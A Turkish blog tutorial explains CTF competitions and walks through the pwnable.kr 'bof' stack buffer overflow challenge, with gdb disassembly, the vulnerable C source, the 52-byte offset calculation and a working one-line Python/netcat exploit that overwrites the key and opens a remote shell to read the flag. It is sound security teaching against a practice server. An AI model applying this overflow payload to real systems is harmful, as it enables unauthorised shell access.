C İLE BUFFER OVERFLOW-2 İlk yazımızda buffer overflow un ne olduğundan, hangi amaçla yapıldığından bahsettik. Bu yazımızda önce güvenlik yarışmalarının genel formatı olan CTF(Capture The Flag) hakkında bilgi verdikten sonra güzel bir CTF sitesi olan ve içindeki C kodlarının istismar edilerek flag e ulaşılan pwnable.kr internet sitesine giriş yapıp buradaki buffer overflow açıklığı barındıran C kodunu patlatacağız. Öncelikle CTF(Capture The Flag) kelimelerinin türkçe karşılığı Bayrak Yakalama demektir. Bilişim alanında genel anlamda siber güvenlik alanında düzenlenen eğitim amaçlı yarışmalardır. Yarışmacıların belirlenen süre boyunca hedef sistemleri ele geçirmeye çalışmak veya gizlenen dosyaları bulmaya çalışmak gibi amaçları vardır. Buradaki gizlenen dosyalar bilgi veya kritik bir açık olabilir. İşte flag(bayrak) dediğimiz olgu bu bilgi veya açıklıktır. Her konunun farklı zorluk derecesine göre farklı puanları mevcuttur. Genel olarak yarışmanın sonunda en fazla flag(bayrak) toplayan yani en fazla puanı alan kişi veya grup yarışmayı kazanır. Genel olarak CTF mantığını anladıktan sonra şimdi pwnable.kr sitesine girip bir bakalım. Site açıldığında karşımıza aşağıdaki gibi bir ekran geliyor. Bu ekranın sol üst
Login kısmından siteye üye olabiliriz. Biz şimdilik o kısmı atlayıp sağ üst kısımdan Play kısmına tıklıyoruz. Play kısmına tıkladıktan sonra karşımıza resimli sorular geliyor. Bu ilk kısımdaki bütün resimler C kodu ile yazılmış farklı exploitler ile çözülecek flag ler barındıran sorulardır. Biz bof resminin üstüne tıklıyoruz.
Ekranda iki indirme bağlantısı ve bir netcat ile server bağlantısı var. Önce iki dosyayıda indiriyoruz. Şu an elimizde bir C kodu ve bu kodun derlenmiş hali var. Biz önce./bof olan derlenmiş C kodumuzu çalıştırmaya çalışıyoruz. Evet çalışmadı. Çünkü linux da gerekli izni vermemişiz. Gerekli izni verip çalıştırıyoruz. Karşımıza aşağıdaki resimdeki gibi bir mesaj çıktı.
Geldik işin en zor kısmına burada kalide bulunan gdb assembly debugger ile bakıyoruz. Sırasıyla aşağıdaki kodlar karşımıza çıkıyor. root@kali:~/desktop# gdb./bof (gdb) disassemble main Dump of assembler code for function main: 0x0000068a <+0>: push %ebp 0x0000068b <+1>: mov %esp,%ebp 0x0000068d <+3>: and $0xfffffff0,%esp 0x00000690 <+6>: sub $0x10,%esp 0x00000693 <+9>: movl $0xdeadbeef,(%esp) 0x0000069a <+16>: call 0x62c <func> 0x0000069f <+21>: mov $0x0,%eax 0x000006a4 <+26>: leave 0x000006a5 <+27>: ret End of assembler dump. (gdb) disassemble func Dump of assembler code for function func: 0x0000062c <+0>: push %ebp 0x0000062d <+1>: mov %esp,%ebp 0x0000062f <+3>: sub $0x48,%esp 0x00000632 <+6>: mov %gs:0x14,%eax 0x00000638 <+12>: mov %eax,-0xc(%ebp) 0x0000063b <+15>: xor %eax,%eax 0x0000063d <+17>: movl $0x78c,(%esp) 0x00000644 <+24>: call 0x645 <func+25> 0x00000649 <+29>: lea -0x2c(%ebp),%eax 0x0000064c <+32>: mov %eax,(%esp) 0x0000064f <+35>: call 0x650 <func+36> 0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x0000065b <+47>: jne 0x66b <func+63> 0x0000065d <+49>: movl $0x79b,(%esp) 0x00000664 <+56>: call 0x665 <func+57> 0x00000669 <+61>: jmp 0x677 <func+75> 0x0000066b <+63>: movl $0x7a3,(%esp) 0x00000672 <+70>: call 0x673 <func+71> 0x00000677 <+75>: mov -0xc(%ebp),%eax 0x0000067a <+78>: xor %gs:0x14,%eax 0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88> ---Type <return> to continue, or q <return> to quit--- 0x00000688 <+92>: leave 0x00000689 <+93>: ret End of assembler dump. (gdb) break *0x00000654 Breakpoint 1 at 0x654 (gdb) r Starting program: /root/desktop/bof Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x654 (gdb) gdb Burada run komutu çalışmadı. mkdir ile yeni bir klasör oluşturuyoruz ve mv komutu ile bof u onun içine atıyoruz. Sonra bir daha deniyoruz. root@kali:~/desktop/hey# gdb./bof (gdb) r Starting program: /root/desktop/hey/bof overflow me : Nah.. [Inferior 1 (process 4364) exited normally] (gdb) disassemble func Dump of assembler code for function func: 0x5655562c <+0>: push %ebp 0x5655562d <+1>: mov %esp,%ebp 0x5655562f <+3>: sub $0x48,%esp 0x56555632 <+6>: mov %gs:0x14,%eax 0x56555638 <+12>: mov %eax,-0xc(%ebp) 0x5655563b <+15>: xor %eax,%eax 0x5655563d <+17>: movl $0x78c,(%esp) 0x56555644 <+24>: call 0x56555645 <func+25> 0x56555649 <+29>: lea -0x2c(%ebp),%eax 0x5655564c <+32>: mov %eax,(%esp) 0x5655564f <+35>: call 0x56555650 <func+36>
* 0x56555654 <+40>: cmpl $0xcafebabe,0x8(%ebp) 0x5655565b <+47>: jne 0x5655566b <func+63> 0x5655565d <+49>: movl $0x79b,(%esp) 0x56555664 <+56>: call 0x56555665 <func+57> 0x56555669 <+61>: jmp 0x56555677 <func+75> 0x5655566b <+63>: movl $0x7a3,(%esp) 0x56555672 <+70>: call 0x56555673 <func+71> 0x56555677 <+75>: mov -0xc(%ebp),%eax 0x5655567a <+78>: xor %gs:0x14,%eax 0x56555681 <+85>: je 0x56555688 <func+92> 0x56555683 <+87>: call 0x56555684 <func+88> 0x56555688 <+92>: leave 0x56555689 <+93>: ret End of assembler dump. (gdb) break *0x56555654 Breakpoint 1 at 0x56555654 (gdb) r Starting program: /root/desktop/hey/bof overflow me : asd Breakpoint 1, 0x56555654 in func () (gdb) info registers eax 0xffffd32c -11476 ecx 0xfbad2288-72539512 edx 0xf7fad87c -134555524 ebx 0x0 0 esp 0xffffd310 0xffffd310 ebp 0xffffd358 0xffffd358 esi 0x1 1 edi 0xf7fac000-134561792 eip 0x56555654 0x56555654 <func+40> eflags 0x246 [ PF ZF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/wx $ebp+0x8 0xffffd360: 0xdeadbeef
gdb2 Burada disassemble func altındaki yanında yıldız bulunan satırda main den gelen 0x8(ebp) ile 0xcafebabe i karşılaştırıyor. Eğer aynıysa program çalışacak lakin aynı değil. Neden aynı olmadığına en alt satırda register lardan çektiğimiz bilgi ile anlıyoruz. Burada ebp nin hala 0xdeadbeef olduğunu görüyoruz. Şimdi burada bir durup c kodlarına bir bakalım. #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; //Burda 32 karakterlik bir string alıcam diyor. printf("overflow me : "); gets(overflowme); // smash me! Bizim işimiz asıl burda burdaki overflowme kaç karakterden sonra patlayacak :) if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } bof.c Şimdi gdb ile kaldığım yerden devam edersem şu şekilde > (gdb) break gets Breakpoint 1 at 0x80483b0 (gdb) run Starting program: /tmp/work/a.out
Breakpoint 1, 0xf7e84e90 in gets () from /lib/i386-linuxgnu/libc.so.6 Single stepping until exit from function gets, which has no line number information. overflow me : hellobof 0x080484ed in func () (gdb) x/1s $ebp-0x2c 0xffffdc0c: "hellobof" (gdb) 0xffffdc0c: 0xffffdc40: "hellobof" 0xdeadbeef Burada bir satırlık bir python koduyla > python c print 0xffffdc0c-0xffffdc40 sonuç -52 çıkar. Ve evet bulduk 52 karakterden sonra sistem patlıyor ve gireceğimiz değer key sabiti 0xcafebabe olacak şekilde flag dosyasını çekebiliceğiz. Şimdi burada yine bir satırlık python koduyla servera bağlanıp programda bir shell açıp flag i çekelim root@kali:~/desktop/hey$ (python -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) nc pwnable.kr 9000 id uid=1003(bof) gid=1003(bof) groups=1003(bof) whoami bof cat flag daddy, I just pwned a buffer :) //Buradaki en alt satır flag :) Kaynaklar blog.btrisk.com/2016/06/ctf-nedir.html http://www.nrjfl0w.org/index.php/2016/08/09/pwnable-kr-b of-writeup-toddlers-bottle/ https://morpheuzblog.wordpress.com/2015/11/18/bof/ http://pwnable.kr/play.php
Yazar: Ömer Faruk SÖNMEZ